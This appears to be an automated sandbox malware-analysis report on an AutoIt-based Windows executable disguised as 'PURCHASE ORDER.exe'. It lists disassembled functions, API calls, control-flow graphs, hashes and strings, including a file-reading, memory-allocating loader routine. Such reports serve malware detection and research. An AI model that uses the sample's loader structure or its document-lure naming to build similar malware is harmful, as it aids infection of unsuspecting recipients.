                                                                          • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,?,?,?,?,?,?), ref: 0041039A
                                                                          • LoadIconW.USER32(00400000,000000A9), ref: 004103B1
                                                                          • ImageList_ReplaceIcon.COMCTL32(00AAEED8,000000FF,00000000,?,?,?,?,?,?), ref: 004103C1
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                                          • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                                          • API String ID: 2914291525-1005189915
                                                                          • Opcode ID: b078764552fc12f322907e2d646497bc841117f43cad8f480623bc49e689b681
                                                                          • Instruction ID: c8c51aded5b6d43d10953d3ded2c15c159303f3bf9a059b11759766ceadcbce4
                                                                          • Opcode Fuzzy Hash: b078764552fc12f322907e2d646497bc841117f43cad8f480623bc49e689b681
                                                                          • Instruction Fuzzy Hash: 9F2129B4518301AFD340DF64D888B4EBFF4FB89704F008A2EF685962A0E7B58144CF5A
                                                                          Function 004101F0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 74windowregistryCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          • GetSysColorBrush.USER32(0000000F), ref: 004101F9
                                                                          • LoadCursorW.USER32(00000000,00007F00), ref: 00410209
                                                                          • LoadIconW.USER32(?,00000063), ref: 0041021F
                                                                          • LoadIconW.USER32(?,000000A4), ref: 00410232
                                                                          • LoadIconW.USER32(?,000000A2), ref: 00410245
                                                                          • LoadImageW.USER32(?,00000063,00000001,00000010,00000010,00000000), ref: 0041026A
                                                                          • RegisterClassExW.USER32 ref: 004102C6
                                                                            • Part of subcall function 004102F0: GetSysColorBrush.USER32 ref: 00410326
                                                                            • Part of subcall function 004102F0: RegisterClassExW.USER32 ref: 00410359
                                                                            • Part of subcall function 004102F0: RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,?), ref: 0041036A
                                                                            • Part of subcall function 004102F0: InitCommonControlsEx.COMCTL32(0000000F,?,?,?,?,?,?), ref: 0041038A
                                                                            • Part of subcall function 004102F0: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,?,?,?,?,?,?), ref: 0041039A
                                                                            • Part of subcall function 004102F0: LoadIconW.USER32(00400000,000000A9), ref: 004103B1
                                                                            • Part of subcall function 004102F0: ImageList_ReplaceIcon.COMCTL32(00AAEED8,000000FF,00000000,?,?,?,?,?,?), ref: 004103C1
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                                          • String ID: #$0$PGH
                                                                          • API String ID: 423443420-3673556320
                                                                          • Opcode ID: 1033d1e55498f891403c4089579710d7d6683e73571bc8446147a2c837657170
                                                                          • Instruction ID: 6be78a7d21e01e6533eb66d2751721d4fd39e3055bf34e10baa21603515e7cea
                                                                          • Opcode Fuzzy Hash: 1033d1e55498f891403c4089579710d7d6683e73571bc8446147a2c837657170
                                                                          • Instruction Fuzzy Hash: 60216DB5A18300AFD310CF59EC84A4A7FE4FB99710F00497FF648972A0D7B599408B99
                                                                          Function 00452574 Relevance: 13.7, APIs: 9, Instructions: 171COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          • _fseek.LIBCMT ref: 004525DA
                                                                            • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004523ED
                                                                            • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 00452432
                                                                            • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045244F
                                                                            • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 0045247D
                                                                            • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045248E
                                                                            • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004524AB
                                                                            • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 004524D9
                                                                          • __fread_nolock.LIBCMT ref: 00452618
                                                                          • __fread_nolock.LIBCMT ref: 00452629
                                                                          • __fread_nolock.LIBCMT ref: 00452644
                                                                          • __fread_nolock.LIBCMT ref: 00452661
                                                                          • _fseek.LIBCMT ref: 0045267D
                                                                          • _malloc.LIBCMT ref: 00452689
                                                                          • _malloc.LIBCMT ref: 00452696
                                                                          • __fread_nolock.LIBCMT ref: 004526A7
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: __fread_nolock$_fseek_malloc_wcscpy
                                                                          • String ID:
                                                                          • API String ID: 1911931848-0
                                                                          • Opcode ID: 3570a21b3fd7755177810c9e6035fea9311faeeb4ffbf150b354229a8e607498
                                                                          • Instruction ID: daf5751c9f96f1f9c2235ce4d63c31b1673d17b5fb5ed0b9a51dc370059b243a
                                                                          • Opcode Fuzzy Hash: 3570a21b3fd7755177810c9e6035fea9311faeeb4ffbf150b354229a8e607498
                                                                          • Instruction Fuzzy Hash: 47514CB1A08340AFD310DF5AD881A9BF7E9FFC8704F40492EF68887241D77AE5448B5A
                                                                          Function 0040F450 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 126COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 1294 40f450-40f45c call 425210 1297 40f460-40f478 1294->1297 1297->1297 1298 40f47a-40f4a8 call 413990 call 410f70 1297->1298 1303 40f4b0-40f4d1 call 4151b0 1298->1303 1306 40f531 1303->1306 1307 40f4d3-40f4da 1303->1307 1310 40f536-40f540 1306->1310 1308 40f4dc-40f4de 1307->1308 1309 40f4fd-40f517 call 41557c 1307->1309 1311 40f4e0-40f4e2 1308->1311 1314 40f51c-40f51f 1309->1314 1313 40f4e6-40f4ed 1311->1313 1315 40f521-40f52c 1313->1315 1316 40f4ef-40f4f2 1313->1316 1314->1303 1319 40f543-40f54e 1315->1319 1320 40f52e-40f52f 1315->1320 1317 42937a-4293a0 call 41557c call 4151b0 1316->1317 1318 40f4f8-40f4fb 1316->1318 1331 4293a5-4293c3 call 4151d0 1317->1331 1318->1309 1318->1311 1322 40f550-40f553 1319->1322 1323 40f555-40f560 1319->1323 1320->1316 1322->1316 1324 429372 1323->1324 1325 40f566-40f571 1323->1325 1324->1317 1327 429361-429367 1325->1327 1328 40f577-40f57a 1325->1328 1327->1313 1330 42936d 1327->1330 1328->1316 1330->1324 1331->1310
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: __fread_nolock_fseek_strcat
                                                                          • String ID: AU3!$EA06
                                                                          • API String ID: 3818483258-2658333250
                                                                          • Opcode ID: 61a815b4762265f9d00ad5303640aa958846bc8ab5516fbcebd88596bc1aced3
                                                                          • Instruction ID: a326fe91d6bb541f17a8cee8b09d92be642ba4032c5aa5fe266a96c6f27d1a6c
                                                                          • Opcode Fuzzy Hash: 61a815b4762265f9d00ad5303640aa958846bc8ab5516fbcebd88596bc1aced3
                                                                          • Instruction Fuzzy Hash: 2B416C7160C340ABC331DA24C841AEB77A59B95308F68087EF5C597683E578E44A876B
                                                                          Function 00410130 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 76COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 1334 410130-410142 SHGetMalloc 1335 410148-410158 SHGetDesktopFolder 1334->1335 1336 42944f-429459 call 411691 1334->1336 1337 4101d1-4101e0 1335->1337 1338 41015a-410188 call 411691 1335->1338 1337->1336 1344 4101e6-4101ee 1337->1344 1346 4101c5-4101ce 1338->1346 1347 41018a-4101a1 SHGetPathFromIDListW 1338->1347 1346->1337 1348 4101a3-4101b1 call 411691 1347->1348 1349 4101b4-4101c0 1347->1349 1348->1349 1349->1346
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: _wcscpy$DesktopFolderFromListMallocPath
                                                                          • String ID: C:\Users\user\Desktop\PURCHASE ORDER.exe
                                                                          • API String ID: 192938534-3621019328
                                                                          • Opcode ID: 41672701d810a85b6866b378b1839c38d53fca73f5daf9d2a63f2dfb0070f590
                                                                          • Instruction ID: 2fe23ff91bf644c1e681f842d3c1e96d6f0f177144f23c1ad52f1bdc7517ad48
                                                                          • Opcode Fuzzy Hash: 41672701d810a85b6866b378b1839c38d53fca73f5daf9d2a63f2dfb0070f590
                                                                          • Instruction Fuzzy Hash: 822179B5604211AFC210EB64DC84DABB3ECEFC8704F14891DF94987210E739ED46CBA6
                                                                          Function 00401230 Relevance: 12.1, APIs: 8, Instructions: 83windowtimeCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 1352 401230-40123b 1353 401241-401272 call 4131f0 call 401be0 1352->1353 1354 4012c5-4012cd 1352->1354 1359 401274-401292 1353->1359 1360 4012ae-4012bf KillTimer SetTimer 1353->1360 1361 42aa61-42aa67 1359->1361 1362 401298-40129c 1359->1362 1360->1354 1363 42aa8b-42aaa7 Shell_NotifyIconW 1361->1363 1364 42aa69-42aa86 Shell_NotifyIconW 1361->1364 1365 4012a2-4012a8 1362->1365 1366 42aaac-42aab3 1362->1366 1363->1360 1364->1360 1365->1360 1369 42aaf8-42ab15 Shell_NotifyIconW 1365->1369 1367 42aad7-42aaf3 Shell_NotifyIconW 1366->1367 1368 42aab5-42aad2 Shell_NotifyIconW 1366->1368 1367->1360 1368->1360 1369->1360
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 00401257
                                                                            • Part of subcall function 00401BE0: _memset.LIBCMT ref: 00401C62
                                                                            • Part of subcall function 00401BE0: _wcsncpy.LIBCMT ref: 00401CA1
                                                                            • Part of subcall function 00401BE0: _wcscpy.LIBCMT ref: 00401CBD
                                                                            • Part of subcall function 00401BE0: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00401CCF
                                                                          • KillTimer.USER32(?,?), ref: 004012B0
                                                                          • SetTimer.USER32(?,?,000002EE,00000000), ref: 004012BF
                                                                          • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AA80
                                                                          • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AACC
                                                                          • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AB0F
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: IconNotifyShell_$Timer_memset$Kill_wcscpy_wcsncpy
                                                                          • String ID:
                                                                          • API String ID: 1792922140-0
                                                                          • Opcode ID: a7115ab057bf29602ed6c82bb799c717f5f73d3545905a596edaeb05fb95c8cc
                                                                          • Instruction ID: 78dbdb20408675f5dda5a176dd8a03fc230073daf987e80dd157250a536ae6f7
                                                                          • Opcode Fuzzy Hash: a7115ab057bf29602ed6c82bb799c717f5f73d3545905a596edaeb05fb95c8cc
                                                                          • Instruction Fuzzy Hash: 56319670609642BFD319CB24D544B9BFBE8BF85304F04856EF488A3251C7789A19D7AB
                                                                          Function 03F5C2B8 Relevance: 10.7, APIs: 7, Instructions: 239fileCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 1370 3f5c2b8-3f5c366 call 3f59cc8 1373 3f5c36d-3f5c393 call 3f5d1c8 CreateFileW 1370->1373 1376 3f5c395 1373->1376 1377 3f5c39a-3f5c3aa 1373->1377 1378 3f5c4e5-3f5c4e9 1376->1378 1382 3f5c3b1-3f5c3cb VirtualAlloc 1377->1382 1383 3f5c3ac 1377->1383 1380 3f5c52b-3f5c52e 1378->1380 1381 3f5c4eb-3f5c4ef 1378->1381 1384 3f5c531-3f5c538 1380->1384 1385 3f5c4f1-3f5c4f4 1381->1385 1386 3f5c4fb-3f5c4ff 1381->1386 1387 3f5c3d2-3f5c3e9 ReadFile 1382->1387 1388 3f5c3cd 1382->1388 1383->1378 1389 3f5c58d-3f5c5a2 1384->1389 1390 3f5c53a-3f5c545 1384->1390 1385->1386 1391 3f5c501-3f5c50b 1386->1391 1392 3f5c50f-3f5c513 1386->1392 1397 3f5c3f0-3f5c430 VirtualAlloc 1387->1397 1398 3f5c3eb 1387->1398 1388->1378 1393 3f5c5a4-3f5c5af VirtualFree 1389->1393 1394 3f5c5b2-3f5c5ba 1389->1394 1399 3f5c547 1390->1399 1400 3f5c549-3f5c555 1390->1400 1391->1392 1395 3f5c515-3f5c51f 1392->1395 1396 3f5c523 1392->1396 1393->1394 1395->1396 1396->1380 1401 3f5c437-3f5c452 call 3f5d418 1397->1401 1402 3f5c432 1397->1402 1398->1378 1399->1389 1403 3f5c557-3f5c567 1400->1403 1404 3f5c569-3f5c575 1400->1404 1410 3f5c45d-3f5c467 1401->1410 1402->1378 1406 3f5c58b 1403->1406 1407 3f5c577-3f5c580 1404->1407 1408 3f5c582-3f5c588 1404->1408 1406->1384 1407->1406 1408->1406 1411 3f5c469-3f5c498 call 3f5d418 1410->1411 1412 3f5c49a-3f5c4ae call 3f5d228 1410->1412 1411->1410 1418 3f5c4b0 1412->1418 1419 3f5c4b2-3f5c4b6 1412->1419 1418->1378 1420 3f5c4c2-3f5c4c6 1419->1420 1421 3f5c4b8-3f5c4bc CloseHandle 1419->1421 1422 3f5c4d6-3f5c4df 1420->1422 1423 3f5c4c8-3f5c4d3 VirtualFree 1420->1423 1421->1420 1422->1373 1422->1378 1423->1422
                                                                          APIs
                                                                          • CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 03F5C389
                                                                          • VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 03F5C5AF
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2068790449.0000000003F59000.00000040.00000020.00020000.00000000.sdmp, Offset: 03F59000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_3f59000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CreateFileFreeVirtual
                                                                          • String ID:
                                                                          • API String ID: 204039940-0
                                                                          • Opcode ID: d349c2c11462b54f33c86561be68849ac3e84e681e3d8bb3fdc8e10bc75df865
                                                                          • Instruction ID: 14bf4d6ff13a7bc56f842787279332e3521bcf02e0dd76dc4e82fdfac1065829
                                                                          • Opcode Fuzzy Hash: d349c2c11462b54f33c86561be68849ac3e84e681e3d8bb3fdc8e10bc75df865
                                                                          • Instruction Fuzzy Hash: 9AA10875E00209EBDB14CFE4C894FEEBBB5BF48305F248159E616BB280D7759A41CB91
                                                                          Function 00414F10 Relevance: 10.7, APIs: 7, Instructions: 189COMMONLIBRARYCODE
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 1424 414f10-414f2c 1425 414f4f 1424->1425 1426 414f2e-414f31 1424->1426 1427 414f51-414f55 1425->1427 1426->1425 1428 414f33-414f35 1426->1428 1429 414f37-414f46 call 417f23 1428->1429 1430 414f56-414f5b 1428->1430 1438 414f47-414f4c call 417ebb 1429->1438 1431 414f6a-414f6d 1430->1431 1432 414f5d-414f68 1430->1432 1435 414f7a-414f7c 1431->1435 1436 414f6f-414f77 call 4131f0 1431->1436 1432->1431 1434 414f8b-414f9e 1432->1434 1441 414fa0-414fa6 1434->1441 1442 414fa8 1434->1442 1435->1429 1440 414f7e-414f89 1435->1440 1436->1435 1438->1425 1440->1429 1440->1434 1443 414faf-414fb1 1441->1443 1442->1443 1446 4150a1-4150a4 1443->1446 1447 414fb7-414fbe 1443->1447 1446->1427 1449 414fc0-414fc5 1447->1449 1450 415004-415007 1447->1450 1449->1450 1451 414fc7 1449->1451 1452 415071-415072 call 41e6b1 1450->1452 1453 415009-41500d 1450->1453 1454 415102 1451->1454 1455 414fcd-414fd1 1451->1455 1464 415077-41507b 1452->1464 1457 41500f-415018 1453->1457 1458 41502e-415035 1453->1458 1459 415106-41510f 1454->1459 1462 414fd3 1455->1462 1463 414fd5-414fd8 1455->1463 1465 415023-415028 1457->1465 1466 41501a-415021 1457->1466 1460 415037 1458->1460 1461 415039-41503c 1458->1461 1459->1427 1460->1461 1467 415042-41504e call 41453a call 41ed9e 1461->1467 1468 4150d5-4150d9 1461->1468 1462->1463 1469 4150a9-4150af 1463->1469 1470 414fde-414fff call 41ee9b 1463->1470 1464->1459 1471 415081-415085 1464->1471 1472 41502a-41502c 1465->1472 1466->1472 1492 415053-415058 1467->1492 1477 4150eb-4150fd call 417f23 1468->1477 1478 4150db-4150e8 call 4131f0 1468->1478 1473 4150b1-4150bd call 4131f0 1469->1473 1474 4150c0-4150d0 call 417f23 1469->1474 1486 415099-41509b 1470->1486 1471->1468 1479 415087-415096 1471->1479 1472->1461 1473->1474 1474->1438 1477->1438 1478->1477 1479->1486 1486->1446 1486->1447 1493 415114-415118 1492->1493 1494 41505e-415061 1492->1494 1493->1459 1494->1454 1495 415067-41506f 1494->1495 1495->1486
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
                                                                          • String ID:
                                                                          • API String ID: 3886058894-0
                                                                          • Opcode ID: b117a392f3759847975495debe7ea87102f8b7de0bc78f8cbc322732e1c6b221
                                                                          • Instruction ID: 085ef53bf2cba992f8731f00f2d52beda6aca72a1b803249d76dffc069a60243
                                                                          • Opcode Fuzzy Hash: b117a392f3759847975495debe7ea87102f8b7de0bc78f8cbc322732e1c6b221
                                                                          • Instruction Fuzzy Hash: CA510830900604EFCB208FA9C8445DFBBB5EFC5324F24825BF82596290D7799ED2CB99
                                                                          Function 004103E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 43COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 1496 4103e0-410461 CreateWindowExW * 2 ShowWindow * 2
                                                                          APIs
                                                                          • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,?,00000000), ref: 00410415
                                                                          • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000), ref: 0041043E
                                                                          • ShowWindow.USER32(?,00000000), ref: 00410454
                                                                          • ShowWindow.USER32(?,00000000), ref: 0041045E
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Window$CreateShow
                                                                          • String ID: AutoIt v3$edit
                                                                          • API String ID: 1584632944-3779509399
                                                                          • Opcode ID: 2f6e2284bb2ae2ba7cf4e865adc3bced08dc322388bda6343c860b78a8eff359
                                                                          • Instruction ID: daa3d4afae2654ee996124117597f48fa5c574a0ac4b96d00400a8ba476d7f73
                                                                          • Opcode Fuzzy Hash: 2f6e2284bb2ae2ba7cf4e865adc3bced08dc322388bda6343c860b78a8eff359
                                                                          • Instruction Fuzzy Hash: F3F0A975BE4310BAF6609754AC43F592B59A765F00F3445ABB700BF1D0D6E478408B9C
                                                                          Function 03F5C078 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 146fileCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 1497 3f5c078-3f5c1ac call 3f59cc8 call 3f5bf68 CreateFileW 1504 3f5c1b3-3f5c1c3 1497->1504 1505 3f5c1ae 1497->1505 1508 3f5c1c5 1504->1508 1509 3f5c1ca-3f5c1e4 VirtualAlloc 1504->1509 1506 3f5c263-3f5c268 1505->1506 1508->1506 1510 3f5c1e6 1509->1510 1511 3f5c1e8-3f5c1ff ReadFile 1509->1511 1510->1506 1512 3f5c201 1511->1512 1513 3f5c203-3f5c23d call 3f5bfa8 call 3f5af68 1511->1513 1512->1506 1518 3f5c23f-3f5c254 call 3f5bff8 1513->1518 1519 3f5c259-3f5c261 ExitProcess 1513->1519 1518->1519 1519->1506
                                                                          APIs
                                                                            • Part of subcall function 03F5BF68: Sleep.KERNELBASE(000001F4), ref: 03F5BF79
                                                                          • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 03F5C1A2
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2068790449.0000000003F59000.00000040.00000020.00020000.00000000.sdmp, Offset: 03F59000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_3f59000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CreateFileSleep
                                                                          • String ID: T23948ZM4TJT5X4A
                                                                          • API String ID: 2694422964-1830955493
                                                                          • Opcode ID: 4b5073d2706643d8e74c40b84e34340c99fea46cdb4c3fa07d478683bc4e4577
                                                                          • Instruction ID: 90224873d70aa5351a6dc046adecdbb0a349960bf4d71caa0a9a670c4e3df6f3
                                                                          • Opcode Fuzzy Hash: 4b5073d2706643d8e74c40b84e34340c99fea46cdb4c3fa07d478683bc4e4577
                                                                          • Instruction Fuzzy Hash: F7518E35E04349EAEF11DBE4D854BEEBBB9AF19700F004199E605BB2C0D7B91B45CB61
                                                                          Function 00413A88 Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 1521 413a88-413a99 call 41718c 1524 413b10-413b15 call 4171d1 1521->1524 1525 413a9b-413aa2 1521->1525 1526 413aa4-413abc call 418407 call 419f6d 1525->1526 1527 413ae7 1525->1527 1539 413ac7-413ad7 call 413ade 1526->1539 1540 413abe-413ac6 call 419f9d 1526->1540 1531 413ae8-413af8 RtlFreeHeap 1527->1531 1531->1524 1533 413afa-413b0f call 417f23 GetLastError call 417ee1 1531->1533 1533->1524 1539->1524 1546 413ad9-413adc 1539->1546 1540->1539 1546->1531
                                                                          APIs
                                                                          • __lock.LIBCMT ref: 00413AA6
                                                                            • Part of subcall function 00418407: __mtinitlocknum.LIBCMT ref: 0041841D
                                                                            • Part of subcall function 00418407: __amsg_exit.LIBCMT ref: 00418429
                                                                            • Part of subcall function 00418407: EnterCriticalSection.KERNEL32(?,?,?,004224D3,00000004,0048CCA0,0000000C,00417011,00411739,?,00000000,00000000,00000000,?,00416C24,00000001), ref: 00418431
                                                                          • ___sbh_find_block.LIBCMT ref: 00413AB1
                                                                          • ___sbh_free_block.LIBCMT ref: 00413AC0
                                                                          • RtlFreeHeap.NTDLL(00000000,00411739,0048C758,0000000C,004183E8,00000000,0048CA38,0000000C,00418422,00411739,?,?,004224D3,00000004,0048CCA0,0000000C), ref: 00413AF0
                                                                          • GetLastError.KERNEL32(?,004224D3,00000004,0048CCA0,0000000C,00417011,00411739,?,00000000,00000000,00000000,?,00416C24,00000001,00000214), ref: 00413B01
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
